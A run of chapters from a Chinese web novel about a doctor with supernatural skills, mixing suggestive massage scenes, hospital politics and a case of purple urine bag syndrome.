《古医天骄，我以病为刀》 第103章 想不想有中医证 第一百零三章 想不想有中医证 幼猫嘤嘤嘤一般的叫声被张珈榕压抑住，只有方晓能听到。 治疗室极少见的有了异样的气息。 方晓的手掌整个覆上张珈榕纤细的后颈，灼热的体温透过精油渗入肌肤。两人都能感觉到彼此加速的脉搏，在静谧的治疗室里格外清晰。 不知道过了多久，张珈榕好像已经沉醉在这种感受之中难以自拔。 "好些了吗？"方晓俯身在她耳边低语，温热的呼吸拂过她特别敏锐的耳垂。张珈榕轻轻点头，发梢扫过他手腕内侧，带起一阵细微的战栗。 阳光透过窗帘的缝隙，在他们交叠的身影上投下斑驳的光影。方晓的指尖最后在她耳后流连，若有似无地擦过那个每次碰到都会让张珈榕喵喵叫的小窝。 "记得..."他声音暗哑，正要交代医嘱，却见她突然转头，唇瓣堪堪擦过他的指尖。两人同时怔住，空气中弥漫着说不清的气氛。 方晓的指尖还残留着她唇瓣的温度，在灯光下泛着暧昧的水光。他下意识用拇指摩挲着那处滑腻，轻轻的咽了口口水。 “张科长，结束了。”方晓压住自己内心的悸动轻声说到。 这位张科长在冰山下不知道隐藏了多少炙热。 张珈榕慢悠悠地系着白服最上面的纽扣，指尖故意在雪白的颈间流连。 那里还留着几道淡红的指痕，是方晓刚刚用【玄灵推拿术】治疗过的最好证明，也是张珈榕没忍住，像是幼猫嘤嘤嘤一样叫出声的位置。 "方医生..."张珈榕突然倾身，带着茉莉香气的发丝扫过他的喉结，"你这里...沾到我的口红了呢。" 方晓的呼吸一滞。她的指尖已经点上他的锁骨，顺着白大褂的领口轻轻一刮，带起一阵细微的战栗。 诊疗室里的空气突然变得粘稠。 方晓垂眸看张珈榕，发现她正用舌尖轻轻润着下唇，那抹水色在灯光下格外诱人。 "医嘱最后一条..."他突然扣住她不安分的手腕，声音低沉得近乎危险，"禁止在治疗期间...诱惑医生。" 方晓也不知道自己为什么说出这句话。 只是这句话特别应情应景，由心而发。 张珈榕轻笑出声，指尖在诊疗床上暧昧地画着圈："那...治疗结束后呢？" 窗外的阳光将两人的剪影投在墙上，交叠的身影渐渐模糊了界限。 “还别说。”张珈榕哈哈一笑，之前冰山美女的模样荡然无存。 但只有一秒，张珈榕就恢复了常态。 她满脸寒霜，轻轻活动了一下颈椎。 “方医生，你的手法的确不错。”张珈榕冷冷的赞道。 方晓微笑，他低头看着张珈榕的裤脚。 张珈榕的白服是小一号的，穿在身上把身材显现出来。刚刚按完的颈部有些红晕，看着略有点怪。 “稍等等再出去吧。”方晓建议道。 张珈榕对着洗手池前的镜子看了看，嘤了一声。 冰山美女在嘤，方晓手和脚都不知道该放在哪。 “对了方医生。”张珈榕忽然说道，打断了处置室的安静，“孙院长和那位在帝都做检查，发现的确不是肿瘤。” “哦。”方晓笑了笑，点点头。 “你水平很高，孙院长夸你来着。” 他夸自己？方晓知道肯定是去协和医院的时候老师、师兄、师姐帮着自己说好话了。 有一家能当做靠山的医学院，医院，似乎也不错。 “方医生，总在急诊科也不是这么回事。”张珈榕道，“你想去哪个科室？” “我？执业证能还给我么。”方晓问道。 张珈榕脸上闪过一丝俏皮的表情，但旋即就烟消云散，“要是正常呢，等孙院长回来，我打个申请也就差不多了。” 方晓微微皱眉。 “但是呢。” “？？” 张珈榕冷冷的笑了一下，“你推拿技术不错，不想考个中医证？” 方晓一怔，“跨专业需要进修。” “我是医务科的，进修的话，你可以去省城半年，回来我给你弄。” 这回方晓的心的确是动了。 张珈榕说的简单，可方晓知道要是没业内人士帮忙的话，哪怕是医生都不好跨专业弄明白这么多事儿。 有了这份承诺，方晓心里微微开心。 要是去省城，能躲避开一些人和事儿，尤其是那个陌生男人。 “张科长，谢谢，我考虑一下，要是需要的话，我能随时联系你么。” “我的颈椎，还要治疗几次？”张珈榕问道。 “你想治疗几次都行，病好了可以做保健性治疗。” “好。” 张珈榕也没多说别的，转身离开。 她颈后腻白里还有一丝红晕，但很明显张珈榕不想就这个话题继续谈下去。 好处已经给方晓了，看他接不接。 这算是诊费吧，一想到以后能招方晓做推拿，张珈榕冰山一般的脸上露出了一丝笑容。 聂医生看见张珈榕笑着出来，觉得相当诧异。 他等张珈榕离开，问方晓，“方医生，你什么时候学的推拿？” “上学的时候，张科长脖子落枕了，捏几下就好了，聂哥你没看见张科长走的时候身体已经不僵硬了么。” 方晓说着，学着落枕的样子走路。 虽然只是脖子不舒服，可走路的时候整个身子都僵硬，生怕稍微动作大一点就会牵扯到脖子。 好像是这样，聂医生也笑了，“小方，厉害。” “嘿嘿。”方晓笑了，“那个患者去省城哪家医院了？” “好像是省院。”聂医生道，“真是奇怪，好端端一个大小伙子，在酒店睡一觉就失血性休克了，而且他没有外伤史。这种患者，我还是第一次遇到。” “估计省城也治不了，大概要去帝都才行。” 方晓微笑，去帝都也治不了，那人要输血才可以。 只是【霉运符】的作用不知道还在不在，要是自己一狠心，趁着这个机会给他再来一发【霉运符】，那个陌生男人怕是输血都会出现血型上的误差，导致溶血反应。 但这种事儿太狠了，方晓不想赶尽杀绝。 哪怕男人无缘无故给自己腿来一发，他也不想这么做。 倒是张珈榕说的事情有点意思，方晓心里在盘算。 第104章 啥？尿液是蓝色的？还瓦蓝瓦蓝的 第一百零四章 啥？尿液是蓝色的？还瓦蓝瓦蓝的 今天的急诊科很忙，方晓一直帮着忙碌着。 宋主任看在眼里，但却没说话，只是时不时的出来看两眼，确定方晓还在。 “主任，我听说孙院长那面很顺利？”护士长笑吟吟的问道。 这件事是当时宋主任带着方晓力排众议做的，好处自然也归宋主任。 凑趣一下，宋主任会很开心。 可出乎护士长意料的是宋主任板着脸，似乎在琢磨什么，并没有喜笑颜开的吹牛。 “主任？难道有别的变化？” “啊？你说孙院长那面啊。”宋主任缓过神，道，“那位领导确定不是肺癌，而是吃竹鼠导致的细菌感染，已经开始治疗了。” “！！”护士长怔住，“竹鼠？那玩意不是都家养的么，不对，是饲养场里养出来的。” “怎么了，再饲养场，它也是竹鼠，细菌感染的影像资料看着跟肺癌真相。”宋主任感慨了一句。 但他也就是感慨，说话颠三倒四的，并没有和护士长详细解释。 “主任？你想什么呢。”护士长小声问道。 “没想什么，我在琢磨小方。”宋主任摇摇头，叹了口气，“孙院长……你知道帝都么。” “？？”护士长愣住。 “去帝都看病，是咱医院最头疼的一件事。从前还有驻京办的时候好一些，驻京办的人都给打理清楚，去了之后不说有超规格的待遇，但总归能顺畅一些。” “但现在没有了，咱长南人去帝都的话治病难哦。” 这事儿护士长当然知道，只是她不知道宋主任在这儿长吁短叹个什么劲儿。 说到这里，宋主任笑了笑，“这次孙院长也是被逼无奈，临走的时候我看见孙院长的表情心里就发怵，去了帝都，要是照顾不好的话，回来孙院长就要拿我开刀。” “你说小方这人啊，真是能惹祸。可万万没想到的是，去了帝都，找到小方帮着联系的师兄，人家二话不说就给联系了病房，当天下火车就住院。” “这么厉害！” “还是高间。” “！！”护士长错愕莫名的站在原地。 帝都，协和，高间！ 这些词联系起来，她完全听不懂。 别看长南人民医院的主任什么的平时都人五人六的，那就是地头蛇，在长南本地都未必好用。 要是去了帝都，他们就两眼一抹黑，直接傻眼。 可小方不一样，打个电话联系一下就有协和的高间！ 这种医疗资源别人不懂，护士长心里很清楚到底有多稀缺。 “住的顺畅，检查顺畅，而且结果也和小方但是说的一样。”宋主任笑了笑，“王成发还想压住小方？开什么玩笑。” “害。”护士长叹了口气，“这玩意我从前只是觉得强龙压不过地头蛇，小方再怎么厉害也只是个研究生，医师证都被扣了，他还能上天？” “王成发那些龌龊的手段。”宋主任鄙夷道，“压不住小方，你没见张科长来找小方推拿么？来的时候脖子邦邦硬，走的时候我看挺正常的。” “嘿嘿，看见了。” “能被压住的都是没什么真本事，却又以为自己有真本事的那种人。小方不一样……” 正说着，走廊里传来杂乱的声音。 “咚咚咚~”有人敲门。 “进。” 宋主任话音未落，门就被推开，看样子敲门只是最基本的礼貌而已，敲门的人压根没想。 “主任，有个患者拎着尿袋来的。” “哦，前列腺么？让他去泌尿外科。”宋主任道。 “尿袋里的尿液是蓝色的！” “什么！”宋主任一怔，马上站起来，一溜小跑跑出去。 蓝色尿液？这也太古怪了吧。 宋主任跑出去看看到底怎么回事。 出门就看见方晓站在诊室里正在和患者说话，患者大概70多岁，手里拎着个尿袋，尿袋里的尿液瓦蓝瓦蓝的。 这是？阿凡达下水道？ 宋主任愣住。 原本他还以为是医生描述错误，没想到患者手里的尿袋中装的的确是蓝色的尿液。 “没事。”方晓的声音传过来。 宋主任真恨不得从后面踹方晓一脚。 没事？尿液都变成蓝色的了，还没事呢？ 他快步走过去，急匆匆的，生怕方晓说多了最后敷衍不过去引起医疗纠纷。 方晓也真是，自己以为和纠纷办的张科长关系好就能在临床上胡说八道么？ 这也太不知道深浅了。 “你这是色氨酸引起的，现在还不典型，是蓝色，过几天就会变成紫色，我们叫蓝的发紫。” 宋主任被气的头顶的血管蹦蹦直蹦，他恶狠狠的走到方晓身后，“方医生，怎么回事。” 虽然生气，但宋主任没骂方晓，而只是打断了他的话语。 “主任，是紫色尿袋综合征。” 宋主任的手有点麻，明明尿袋里的尿液是蓝色的，方晓却说紫色尿袋综合征。 色盲啊！ 真是毛病。 “大爷今年 70 岁，既往有轻度焦虑和抑郁，10 几年前诊断有前列腺增生，平时小便非常费劲，常常排尿不畅，滴滴答答，淋漓不尽。 随着药物治疗逐渐失效，甚至发作了好几次急性尿潴留。” 方晓简单描述了一下患者的既往史。 “方医生怎么了，不是蓝色的么，他怎么说是紫色的。” “我听说他给领导联系的协和单间，估计是飘了吧。” “他都没诊疗资格，这就飘啊。” 身后医生护士们窃窃私语，虽然和方晓关系还算不错，但这事儿方晓做的……在他们看来的确不守规矩，而且胡说八道。 “1 天前患者晨起突然发现自己的尿液变成蓝色了。 无发热、尿频、尿急、尿痛等不适，除了尿色变蓝，排尿的状况大致如前，但经常便秘，最近他也没有进食特别的食物和药物。” “你还知道是蓝色！”宋主任沉声训斥。 方晓虽然在汇报病史，可在宋主任看来他就是在显摆。 “主任，紫色尿袋综合征的前期，尿液就是蓝色的，不需要特殊治疗。”方晓回答道。 “？？” “？？” 所有人都愣住。 第105章 学以致用的爽快 第一百零五章 学以致用的爽快 “色氨酸是一种氨基酸，是食物中的蛋白质降解后的其中一种产物。 色氨酸在肠道细菌作用下脱氨代谢生成吲哚，随后经肠肝循环进入肝脏，在肝内结合形成硫酸吲哚酚，进而释放入血后经肾脏滤出。 继而被尿液中富含硫酸酶或磷酸酶的细菌进一步分解为羟基吲哚，后者在碱性尿液中氧化生成含色素的靛蓝和靛玉红。” 方晓开始讲解，宋主任听的头皮发麻。 这些内容其实都是医学生学习的最基本的内容，可又有多少人能学而致用，用在临床上呢？ 能能能~~~ 肯定好多人会这么说。 对此，宋主任只想骂人。 能学而致用的，都是高端人才，就像是眼前的……方晓。 “大爷的尿液颜色呈蓝色，正是因为靛蓝这种物质在尿袋中作祟。 当靛蓝逐渐积聚而浓度升高，则会出现「蓝得发紫」的现象。” “临床上，又叫做紫色尿袋综合征。” “怎么治疗？”宋主任大约听懂了，这病不要治，根本不需要。 可是他还是问了一句。 “不需要治疗。”方晓道。 果然是这样，宋主任吁了口气。 “更换尿袋就可以。” “真的假的？”患者问。 宋主任知道方晓看着年轻，所以说话没什么力度，他开始给患者解释究竟。 讲真，这事儿说穿了是护理方面的占比比较多，等把患者送走，宋主任瞥了一眼刚刚在背后说怪话的护士们。 不过宋主任没训斥她们，毕竟这时候训斥的话会更像是挑唆。 紫色尿袋综合征，宋主任独自回到办公室，开始查找资料。 还别说，真有这病，而且不需要治疗。 原来是这样啊，宋主任心里琢磨到。 方晓却没多想，依旧在急诊科忙碌着。 直到下班，方晓回家吃饭。许玉也没多作怪，做了四菜一汤。 讲真，许玉做饭的水平的确有提升，几个家常菜让她做的香气四溢。 吃饱饭后方晓要帮着收拾，但却被许玉推进书房。 方晓也没坚持，继续看书。 理论联系实际，这句话从小听到大，早都听的耳朵出了茧子。可真当方晓用到的时候，他才知道这句话的重要。 就像是今天紫色尿袋综合征的患者，要是不知道诊断，给患者做上几千块钱的检查都是很轻松的。 关键是做了一堆检查还没什么用，花钱不说，患者也会极其焦虑。 虽然没有病气能被复制，可方晓依旧觉得收获满满。 那是治病救人的信念带来的一种满足感。 只是，方晓看书的时候有点异样感觉，仿佛有一双眼睛始终盯着自己在看。 过了几个小时，方晓刚要去医院帮忙，忽然手机响起。 “喂？”方晓见是张珈榕打来的，有些诧异。 “方医生，我朋友……不舒服，你能来帮个忙么。”张珈榕的语气有些怪异。 “怎么了？”方晓下意识的询问。 可等待他的是一阵沉默。 “好，我这就去，张科长你把地址发给我。”方晓连忙说道。 先别管发生了什么，张珈榕那面一直照顾着自己，还是去看看的好。 人家已经开口说话了，不去不好。 “哥，要去医院？”许玉像是小狐狸一样敏锐的觉察到了异样。 “张科长家人有点事，要我去看一眼。”方晓努力保持着平常心。 他还记得上次许玉说——你不用跟我解释的。 所以这次方晓没做解释。 可许玉却笑吟吟的问道，“哥，你就不想说点什么？” “……”方晓无语。 说也不是，不说也不是，许玉这个小妖精真是很难应付。 而且方晓心里总是有些惴惴，这么晚了，不方便去医院，张珈榕的性格。 这些都联系起来，方晓觉得有点古怪。 他没和许玉多说什么，而是急匆匆出门，见张珈榕给自己发了地址，方晓叫了一台车赶过去。 按门铃，电子门打开。 张珈榕穿着一身家居服出现在方晓的眼前。 她脸上还带着一丝若有若无的红晕，似乎有些纠结。 可看见方晓来了，张珈榕迅速摆脱了那种纠结的情绪，又恢复成了冰山美女的样子。 “方医生，换鞋进来吧。” 地上放着的都是女式拖鞋，方晓犹豫了一下，拖鞋后光着脚走进去。 “怎么了张科长。”方晓没有随意的说别的，而是称呼张珈榕职位。 张珈榕松了口气似的，道，“我朋友，高露，你叫她小露就行。” “腰闪了。” 呃~~~方晓一怔，张科长这又是玩什么高精尖的游戏，竟然闪了腰？ “一动都不能动，我想叫120去医院拍个片子，但……”张珈榕犹豫了一下，“方医生，我能相信你么。” “能！”方晓马上回答道。 “我也是这么认为的，你进去看看吧。”张珈榕带着方晓走进卧室。 高露躺着乱七八糟的床上，屋子里有一股子怪异的味道，是她和张珈榕两种体香糅合在一起形成的味道。 方晓随即赫然看见一条毛茸茸的尾巴。 这是？！ “别乱看。”张珈榕的脸有点红。 方晓知道这是张珈榕的爱好，他连忙收敛心神，问道，“高露，是吧。” “不用这么客气，别跟在医院似的，叫小露就行。”张珈榕解释道。 隐约中，方晓听到“嘤嘤嘤”的声音。 高露把头塞到被里，只留下黑长直的头发在外面散乱搭着。 “腰疼？” “是这儿。”张珈榕来到高露身边，用手轻轻碰了高露的腰一下。 知道了，方晓走到床旁。 灯光昏暗，满满的异样气息。 方晓习惯性的把手搓热。 他的指尖刚触到高露腰际的肌肤，高露就感受到一阵异样的电流从指腹窜上脊椎。 高露趴在凌乱的床上，脸埋在枕头里，只露出一截雪白的后颈。她今天穿了一件像是小猫的cos服，衣摆因为趴着的姿势翻卷上去，露出一段纤细的腰肢和低腰睡裤边缘若隐若现的腰窝。 "嗯......"高露发出一声模糊的鼻音，声音像是从枕头深处挤出来的，"就是那里，特别疼。" 第106章 张科长的女朋友 第一百零六章 张科长的女朋友 房间里那股奇特的混合香气更浓了。 方晓分辨不出那是什么味道，像是某种花香混着麝香，又带着点甜腻的奶香，闻久了让人头晕目眩。他深吸一口气，强迫自己集中注意力在手下紧绷的肌肉上。 "你这里劳损很严重，还有扭伤。"方晓用拇指按压高露右侧腰肌，感受到手下肌肉纤维不正常的僵硬，"我试着用力，你稍微忍一下。" 高露的身体在他手下轻轻颤抖，发出一声介于疼痛和舒适之间的叹息："啊......轻点......" 那声音像一根羽毛搔过方晓的耳膜。 他咽了口唾沫，稍稍放轻了力道，改用掌根沿着她的脊椎两侧缓缓推压。 高露的皮肤比他想象中还要柔和，像是能吸住手掌一般，随着他的动作泛出淡淡的粉红色。 张科长的女朋友都是极品啊，方晓心里想到。 高露软的不像话，虽然软，但却像是有一种特殊的吸引力似的，吸着方晓的手掌和注意力。 方晓都没敢侧头看张珈榕，他生怕看见张珈榕板着脸，一脸的不高兴。 "你这里......"方晓的拇指找到一块特别僵硬的结节，轻轻画圈按压，"平时会放射到大腿疼吗？" “不对，平时没有，现在大腿内外侧疼么？”方晓换了个说法。 高露突然动了一下，小猫似的cos服又往上蹿了一截，露出一片瓷白的背部肌肤。 "有时候会......啊！就是那里......"她的声音突然拔高，尾音带着一丝颤抖，"好酸......" 方晓的视线不由自主地被那片暴露的肌肤吸引。 在昏暗的床头灯下，高露的背部线条像是一幅精心勾勒的水墨画，脊椎的凹陷处投下浅浅的阴影，随着她的呼吸起伏。他的手掌几乎能覆盖她整个腰部的宽度，那种脆弱感让他喉咙发紧。 "你得放松，"方晓的声音比平时低沉，"肌肉太紧张了，我使不上力。" 高露侧过脸，从散乱的长发间露出一只眼睛，眼尾微微上挑："我尽量，你轻一点啊。" 隐约中，方晓似乎又听到了嘤嘤嘤的声音。 “姐……”高露伸出手，拉住张珈榕的手。 “放心，我昨天落枕，就是方医生用中医推拿治好的。”张珈榕安慰高露。 原来张科长也有这么细腻的情绪，方晓心里有些放心。 手上微微用力，还没用出【玄灵推拿术】，高露又是一声低哼。 方晓感到一阵燥热爬上后颈。他移开视线，注意到那条毛茸茸的尾巴还躺在床头柜上——棕色的，毛发蓬松，根部有一个黑色的皮质环扣。 它看起来像是某种cos道具，但又异常逼真。 "那是什么？"方晓忍不住问道，手指仍机械地在高露腰际轻轻揉按。 张珈榕顺着他的视线看去，她的脸上闪过一抹娇羞。 方晓感到一阵莫名的焦躁。 他加重了手上的力道，拇指深深陷入高露腰侧的肌肉。 高露发出一声压抑的惊叫，身体猛地弓起，小猫似的cos服彻底卷到了胸下，露出整个背部和大半个胸衣的边缘。 "疼——！"高露的声音里带着哭腔，但嘴角却挂着笑，"嘤嘤嘤~~~" 方晓这才意识到自己的失态，连忙松开手："抱歉，我——" 他的指尖还残留着她肌肤的温度，像融化的蜜糖般黏连。 高露微微仰起脸，睫毛在灯光下投出颤动的阴影，泛红的眼尾还噙着未落的泪光，可唇角那抹笑却像沾了露水的蔷薇，在夜色里悄然绽放。 "都掐出印子了..."张珈榕小声嘟囔着，“方医生，你轻一点。” 方晓无奈，哪有印子，分明是张珈榕太娇惯高露。 “你扶着她趴好，这个姿势太怪，我用不上力，腰椎也不正。”方晓道。 “嗯。” 方晓犹豫了一下，挠挠头，“我就不帮忙了，你轻着点。” 张珈榕瞥了一眼方晓，没说话，只是自顾自的顺着高露的力度移动，让她平趴在床上。 视线顺着高露抬起的手臂滑落，宽大的领口正巧漏出一截锁骨，凹陷处盛着晃动的光影。 窗外突然传来雨打术野的声响响起，潮湿的水汽裹挟着栀子香漫进来。 张珈榕忽然踮起脚尖向外看："小露，你闻...夏天摔碎了。" 这……也太文艺了吧，方晓有些无奈，没想到张科长竟然还是个文艺女青年。 “呃~~姐，我疼。” 张珈榕轻柔的把高露的位置摆正，那条尾巴也没挪动，而是留在那里。 方晓直到这时候才注意到尾巴不是戴上去的。 "继续。"张珈榕见方晓端详着尾巴，便打断他。 只是随即张珈榕的声音突然变得温暖轻柔，"其实......挺舒服的......小露你忍一下。" 房间里的空气似乎变得粘稠起来。 两种体香混合的味道更加浓郁，方晓甚至能闻到高露发间淡淡的洗发水香气。 他重新将手放在她的腰上，这次改用指尖轻轻拨动肌肉表层，像是在弹奏某种乐器。 高露的呼吸逐渐变得深长，偶尔在他碰到某个感觉特别特殊的点时，会发出一声小小的抽气。 她的身体在他手下慢慢放松，皮肤温度升高，渗出细密的汗珠，在灯光下闪着微光。 "方医生。"高露突然轻声唤他，声音里带着他从未听过的感觉，"你手法真好，真的。" 方晓的手指顿了一下。 他的掌心正贴在高露的腰窝处，能清晰地感受到她呼吸时身体的起伏。 就在这时，床头柜上的尾巴突然动了一下。 方晓猛地直起身，不确定是不是自己眼花了。高露似乎察觉到了他的异常，转过头来，眼神迷蒙："怎么了？" 呃~~~方晓没见过，所以有些好奇。 “继续按，别看不该看得。”张珈榕斥道。 方晓的呼吸微微一滞，目光在高露迷蒙的眼神和那条轻轻晃动的尾巴之间游移。 她的腰肢在他掌心下轻轻颤动，像一尾不安分的鱼，露出肩头一片瓷白的肌肤。 “没什么……”他嗓音低哑，拇指无意识地在她腰窝处摩挲了一下，触感温热而细腻，像是抚过一段上好的羊脂玉。 高露轻轻“嗯”了一声，眼尾还带着未散的红晕。 张家荣却忽然贴近他耳边，吐息如羽毛般拂过：“你……是不是看到了什么？” 那条尾巴又轻轻摆动了一下，尾尖擦过床单，发出细微的沙沙声。 方晓的喉结滚动，心跳声震耳欲聋，分不清是因为她的靠近，还是因为那个不该存在的、毛茸茸的“秘密”。 张珈榕也注意到这一点，她这回没训斥方晓，而是忽然低笑了一声，红唇几乎贴上他的耳垂，声音又轻又软，带着蛊惑般的甜腻：“怕什么？它又不会……咬你。” 第107章 我也想按 第一百零七章 我也想按 “我……”方晓想要解释一下，可当他看见那条尾巴的时候一下子变得沉默。 “我是不是也该做治疗了。”张珈榕对着方晓眨了眨眼睛。 方晓觉得自己变成了张珈榕游戏里的一环。 只是这种环节让方晓心里有异样的感受。 “榕，你还没好？”高露趴在床上问。 “要至少3次治疗才行。”张珈榕一本正经的说道。 房间里弥漫着淡淡的薰衣草精油香气，混合着某种说不清道不明的温热气息。 方晓刚刚为高露做完腰椎按摩，他看了一眼高露，又看了一眼张珈榕，把衣袖挽起，露出线条分明的小臂。 "方医生，"张珈榕指尖无意识地卷着自己的一缕长发，"你去省城之前，要把我的病治好。" 她的声音比平时低了八度，尾音微微上扬，像一根羽毛轻轻扫过耳膜，痒痒的。 方晓挽衣袖的动作顿了顿，目光从她修长的脖颈滑落到圆润的肩头。高露还趴在按摩床上，闻言转过头来，眼睛里闪过一丝了然的笑意。 "当然可以。"方晓清了清嗓子。 张珈榕从柜子里又取出一条干净的毛巾，"正好这张床够大，我和小露一起趴着吧。" “张科长，我还没说要去进修。” “你这么好的水平，在急诊科算是暴殄天物。去学个证回来，以后万一有用呢。” 张珈榕说着，咬了咬下唇，这个动作让她饱满的唇瓣泛出诱人的水光。 她趴在高露身边，衣摆上提，露出一截洁白纤细的腰肢。 高露往旁边挪了挪，给张珈榕腾出位置。 两个女人并排趴着，曲线在薄毯下起伏有致。方晓背对着她们调配精油，听见身后窸窸窣窣的打闹声，不自觉的舔了舔嘴唇。 "珈榕，你把头发挽起来。"高露的声音里带着笑意，"不然方医生不好操作。" 方晓转过身时，看见张珈榕正用一根发绳将长发挽起，几缕不听话的发丝垂在颈后，衬得那片肌肤如凝脂般细腻。居家服的领口有些宽松，从这个角度能看到若隐若现的锁骨凹陷。 "先是腰椎，然后是颈椎。有没有特别不舒服的地方？"方晓将精油倒在掌心搓热，站在张珈榕身侧说道。 方晓把“舒服”这个词加重语气。 "这里..."张珈榕反手点了点自己的右肩胛骨，指尖在衣料上留下一道浅浅的压痕，"还有脖子后面，虽然能活动了，但还是感觉特别僵硬。" 方晓的双手悬停在她背部上方，能感受到从她身体散发出的热度。他深吸一口气，手掌缓缓落下。 当温热的掌心贴上肌肤的瞬间，张珈榕轻轻"嗯"了一声，声音又软又糯，像融化的蜂蜜。方晓的指尖几不可察地颤了颤，开始用拇指按压她肩颈处的穴位。 "疼吗？"他低声问，声音比平时低了几分。 张珈榕侧着脸趴在枕头上，从这个角度能看到她长睫毛投下的阴影和微微张开的唇。"有点...但是很舒服。"她说话时呼出的气息让枕巾微微颤动。 方晓的指节沿着她的脊椎缓缓下滑，能清晰地感受到每一节骨头的突起。张珈榕的背部线条优美得惊人，肌肉紧实却不失柔和，像一张精心制作的古琴，随着他的弹奏发出无声的韵律。 "方医生手法真好..."高露在一旁轻声感叹，眼睛里闪烁着狡黠的光，"珈榕，你脸都红了呢。" 张珈榕没有反驳，反而将脸更深地埋进枕头里，只露出通红的耳尖。 方晓的掌心正贴在她的后腰处，那里的衣料因为趴姿微微上卷，他的拇指恰好能触到肌肤。 按摩的动作越来越慢，方晓的呼吸不自觉地与张珈榕同步。 当他用掌根按压她腰窝时，张珈榕突然绷紧了身体，发出一声压抑的呼吸声。 "这里...很不舒服？"方晓的声音低得几乎听不见。 张珈榕转过头，眼睛里泛着水光，轻轻点了点头。她的唇距离方晓的手腕只有寸许，呼出的气息拂过他的脉搏，像一团小小的火焰。 高露突然轻笑出声："榕，你耳朵红真的了哦。" 方晓这才惊觉房间的温度似乎升高了许多，他的衬衣已经贴在了背上。张珈榕的眼睛一眨不眨地看着他，里面盛满了说不清道不明的情绪。 "我轻着点，你有什么不舒服就马上告诉我。"方晓问道，手指却已经诚实地在她腰线上流连。 张珈榕没有回答，只是轻轻动了一下身体，像一只被抚摸得舒服的猫。这个动作让她的针织衫又往上卷了一寸，露出一段令人心跳加速的曲线。 方晓的手停在张珈榕的腰际，两人谁都没有动，只有精油的香气在空气中无声蔓延。 高露似乎也在回味着刚刚的感觉，她变得沉默，静静的看着张珈榕，脸上的红晕与张珈榕一样。 "方医生..."张珈榕终于开口，声音轻得像一声叹息，"我背上还有一处...特别难受..." 她引导着他的手往更下的地方移动，毯子滑落的声响在寂静中格外清晰。方晓的呼吸彻底乱了节奏，掌心下的肌肤烫得惊人。 几次按摩，方晓知道张珈榕的点在哪。 见她和高露对视，目光恍惚，方晓恶作剧一般在施展【玄灵推拿术】的时候忽然用力。 “啊~~~”张珈榕猛然一声惊呼。 她整个人都红温了起来。 高露修长的手抬起，放在张珈榕的脖颈上。 方晓心神一荡，“别！” “？？” 高露一愣，这才反应过来还有方晓在。 “等我推拿完的。”方晓低下头，专心致志的推拿按摩。 他可不敢再开玩笑，要不然会发生什么都说不好。 张珈榕把高露的手拍掉，也有些不好意思。刚刚只是心念一动，这才想让方晓给自己做第二疗程。 没想到在家推拿的感觉和在医院不一样。 各有好处。 十几分钟后，方晓长出一口气，“好了，张科长。” 张珈榕像是没听到一样，把头埋在枕头里足足几分钟后才昂起头。 “谢谢。” 第108章 要不，去进修吧 第一百零八章 要不，去进修吧 “客气。”方晓吁了口气。 这次推拿按摩的确辛苦，辛苦的不是别的，而是张珈榕和高露这俩人让方晓有点澎湃。 张珈榕坐起来，把家居服整理好，认真的看着方晓。 “方医生，我建议你去进修。” “？？”方晓对张珈榕的态度转化有些吃惊。 给她按摩颈椎的时候张珈榕还只是建议，怎么来家里推拿按摩后就好像关系近了好多似的。 “医院这面，你的执业证……”张珈榕说着，摇了摇头，“孙院长今天特意询问了你的执业证的事儿。” “你怎么说？” 张珈榕若有若无的笑容似乎在讥讽方晓。 “嗯？张科长，你怎么说的？我能拿回执业证么。”方晓问道。 “方医生，你感同身受，把你替换到孙院长的位置。” “？？” “手下有这么个能联系上协和的人，换你，你能把人放走么？而且还对医院有些怨念。” 张珈榕戏谑问道。 方晓一怔，张珈榕说的的确有道理，自己没考虑到。 “我揣摩孙院长的意见，应该是以后会提你当科室主任。但现在来看，中医科最适合。” 张珈榕说着，又有些红温，仿佛想起了什么。 “所以？” “去进修吧，我明天给你联系。”张珈榕道，“暂时先离开一段时间，王成发王主任已经老了，时间站在你这面。” 方晓没说话，而是仔细的琢磨了一下张珈榕的建议。 讲真，方晓就算是想走也咽不下这口气。 哪有这么容易就过去的道理，王成发可是奔着废了自己来的。要是就这么走了，的确以后会海阔天空，但道心不稳。 “那我再考虑一下。”方晓虽然心动，但却没有直接答应。 张珈榕似乎看出方晓的心事，微微一笑，“省中医院，院里有熟悉的老中医，世家，水平相当高。你要是愿意，可以随时跟我说。” 说完，张珈榕又补充了一句。 “3天之内，你要是不说，那我就当你同意了，着手准备让你去进修的事儿。” 方晓有些恼怒，“张科长，这有点过分了吧。” “回来之后，中西医结合科，孙院长提到这个科室，他可以去申请成立新科室，你是主任。” 方晓扬了扬眉。 “要是一切顺利，很快你就能当我上级领导了。” 张珈榕又给方晓画了一张大饼。 只是这张饼有点硬，方晓觉得太遥远。不过要是有名家指点的话，【方家神鬼针】是不是能获得提升？ 方晓对此相当感兴趣。 他迅速冷静下来，盘算着这其中的利弊得失。 现在和自己刚毕业的时候不一样，有了【方家神鬼针】，又了【复制符】，还可能有更多的内容，方晓心中的天平已经开始动了起来。 “方医生，你回去好好想想。要是拿不定主意，就别来找我，三天后我和孙院长汇报一下情况，安排你去省中医院进修，孙院长帮你找个好老师。” 张珈榕站起身时，丝质家居服如水般滑过她的腰线，在灯光下泛着珍珠母贝般的微光。 她伸手抚平衣摆的动作很轻，像是怕惊扰了空气中某种无形的存在。高露轻轻翻了个身，张珈榕伸手按住她，“我去送方医生，你等我。” 方晓怔怔的看着两个姑娘，尤其是床上的那根尾巴，它随着高露翻身而摇动，像是在瘙痒。 "我送你。"张珈榕声音很轻，尾音几乎消散在两人之间不足一米的距离里。 方晓点头时，注意到她耳垂上一点细小的闪光——是那颗他从未见过的耳钉，在发丝间若隐若现。 走向玄关的过道很窄，两人不得不侧身错开。 方晓闻到一缕若有若无的白麝香，不是香水，更像是她洗发水残留的气息，混着一点出汗后的水汽。 当他后退半步让路时，她的发梢扫过他的衬衣袖口，发出极轻的"沙"声。 "你的领带..."张珈榕突然停在玄关的菱形地砖上。 方晓低头，发现领带尖不知何时滑进了衬衣内侧。她抬起手，却在即将碰到他领口时悬停在空中，指尖微微蜷起。 “你好好想一想，这个机会的确不错。至于王成发，来日方长。”张珈榕低声说道。 方晓屏住呼吸。 他能看见张珈榕手腕内侧淡青色的血管，和因为犹豫而轻轻颤动的睫毛。 当方晓低头整理时，感觉到张珈榕的目光落在自己手上，又很快移开。镜面衣柜反射出她交叠又松开的手指，和微微绷直的脚背——她今天穿着浅灰色的短袜，露出纤细的脚踝。 夜风从未完全关拢的阳台门缝渗入，掀起纱帘的一角。 